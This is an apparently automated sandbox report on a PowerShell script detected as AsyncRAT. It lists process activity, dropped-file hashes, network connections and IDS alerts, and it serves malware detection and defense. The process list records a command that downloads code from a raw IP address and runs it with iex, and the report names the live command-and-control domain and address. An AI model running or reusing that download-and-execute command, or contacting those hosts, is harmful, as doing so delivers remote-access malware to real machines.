| File name: | 8ucvlid61jhtr.ps1 |
| Full analysis: | https://app.any.run/tasks/506b73b4-c60a-4bc4-b72a-0eb0eb27c91e |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | January 24, 2025, 19:10:54 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (65536), with no line terminators |
| MD5: | 78113996C94C5A1FCACBA8DA4CA86DDE |
| SHA1: | 95F0C7F6071A9661E505D1C023219F80FE376DF1 |
| SHA256: | 2DD4DBA195A2994751E11F855A1A4D9F6CA384867B8E5F62B0E692729603FE05 |
| SSDEEP: | 6144:/BlDrzkfnSeYoS35+Xft0wUSrgmDqXT020hLCCd6iY9hK3QKY0cgk9ccuotwxA:D8So4ClisDE41hsEa/cg |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 1200)
ASYNCRAT has been detected (SURICATA)
- powershell.exe (PID: 1200)
MINSTLOADER has been detected
- powershell.exe (PID: 1200)
SUSPICIOUS
CSC.EXE is used to compile C# code
- csc.exe (PID: 6016)
- csc.exe (PID: 6400)
Executable content was dropped or overwritten
- csc.exe (PID: 6016)
- csc.exe (PID: 6400)
Gets or sets the security protocol (POWERSHELL)
- powershell.exe (PID: 1200)
Starts POWERSHELL.EXE for commands execution
- powershell.exe (PID: 1200)
Connects to unusual port
- powershell.exe (PID: 1200)
Contacting a server suspected of hosting an CnC
- powershell.exe (PID: 1200)
Possibly malicious use of IEX has been detected
- powershell.exe (PID: 1200)
Download files or web resources using Curl/Wget
- powershell.exe (PID: 1200)
Execution of CURL command (POWERSHELL)
- powershell.exe (PID: 5876)
Found IP address in command line
- powershell.exe (PID: 5876)
Application launched itself
- powershell.exe (PID: 1200)
INFO
Create files in a temporary directory
- csc.exe (PID: 6016)
- cvtres.exe (PID: 6060)
- cvtres.exe (PID: 6420)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 1200)
- powershell.exe (PID: 5876)
Reads the machine GUID from the registry
- csc.exe (PID: 6016)
- csc.exe (PID: 6400)
Checks supported languages
- csc.exe (PID: 6016)
- cvtres.exe (PID: 6060)
- csc.exe (PID: 6400)
Gets data length (POWERSHELL)
- powershell.exe (PID: 1200)
Disables trace logs
- powershell.exe (PID: 1200)
- powershell.exe (PID: 5876)
Checks proxy server information
- powershell.exe (PID: 1200)
- powershell.exe (PID: 5876)
Failed to connect to remote server (POWERSHELL)
- powershell.exe (PID: 5876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
133
Monitored processes
8
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1200 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\8ucvlid61jhtr.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3576 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5856 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5876 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -c curl -useb 64.52.80.211/1.php?s=boicn| iex | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6016 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\u40yw0wp.cmdline" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6060 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESA089.tmp" "c:\Users\admin\AppData\Local\Temp\CSC30238337F8E748A4A4694F402C31B3EA.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
| |||||||||||||||
| 6400 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\3hishymq.cmdline" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6420 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESF446.tmp" "c:\Users\admin\AppData\Local\Temp\CSC6CEABDAD1F6C4700A9EEC156CF3D61.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
| |||||||||||||||
Total events
15 690
Read events
15 690
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
9
Text files
12
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1200 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:99AD24B2F14971BC30899906EA050D67 | SHA256:55D5702317F34D23920473E8D04FB96758AC9135DF442BACB54062A8B567B2EB | |||
| 6016 | csc.exe | C:\Users\admin\AppData\Local\Temp\u40yw0wp.out | text | |
MD5:FC96D4D15B3823CCCB8A0586E63F2406 | SHA256:C3C573CAD58D03128632050A5686EB597EFC919C29ADE230555B5EB5ABB1D866 | |||
| 6016 | csc.exe | C:\Users\admin\AppData\Local\Temp\u40yw0wp.dll | executable | |
MD5:F399CB3B636C3E686E83EA962EA9C5F3 | SHA256:2AD319EEA054BDC8683C01EBA11670BE916D1D21F445182711EC9844483152BC | |||
| 1200 | powershell.exe | C:\Users\admin\AppData\Local\Temp\3hishymq.0.cs | text | |
MD5:36378AF3E9CADD94CED6728517519BC9 | SHA256:DCEEEF4A04AD74F7274337FAC4BB19CD95A3E38D14189F7095DD9E7E416573DB | |||
| 1200 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J1M0ZAWA3D5EICTX1QWI.temp | binary | |
MD5:99AD24B2F14971BC30899906EA050D67 | SHA256:55D5702317F34D23920473E8D04FB96758AC9135DF442BACB54062A8B567B2EB | |||
| 1200 | powershell.exe | C:\Users\admin\AppData\Local\Temp\u40yw0wp.cmdline | text | |
MD5:898C25974D1329E567787331E04DC95C | SHA256:9F7B2FE24949040022790951EF024AF449974942C017787632AE18355AB0CCCB | |||
| 6060 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESA089.tmp | binary | |
MD5:3E0F74B08D74B2FA60833B37C1A98509 | SHA256:0F639797713D364E4F5D32AFA4F59224A93D09B5A827AE62B81AE420EE832AD4 | |||
| 6016 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC30238337F8E748A4A4694F402C31B3EA.TMP | binary | |
MD5:04BB31874AB60357BFB32EAE23B07E92 | SHA256:A0FE5F4895D4956D88D7FB7CE971EBED6F837914809C543A34C8D5562EE48D0D | |||
| 6400 | csc.exe | C:\Users\admin\AppData\Local\Temp\3hishymq.dll | executable | |
MD5:1A126E6D17ECFBCBE7130027E1AC9EE4 | SHA256:DC728CACC16CD23C2D8CD80E86B171B8B5578E048AA9E72E7800068344338E09 | |||
| 1200 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3gfvzqru.5ld.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
30
DNS requests
16
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5064 | SearchApp.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
3436 | backgroundTaskHost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
6256 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6256 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1356 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5064 | SearchApp.exe | 2.23.227.215:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
1076 | svchost.exe | 184.28.89.167:443 | go.microsoft.com | AKAMAI-AS | US | whitelisted |
5064 | SearchApp.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
1176 | svchost.exe | 40.126.31.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1176 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
1200 | powershell.exe | 86.107.101.93:25658 | toavt7i2d6fgwei.top | SC Access Media Group SRL | RO | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
login.live.com |
| whitelisted |
toavt7i2d6fgwei.top |
| unknown |
api.ipify.org |
| shared |
settings-win.data.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
1200 | powershell.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
— | — | Misc activity | ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI |
— | — | Misc activity | ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup |
1200 | powershell.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |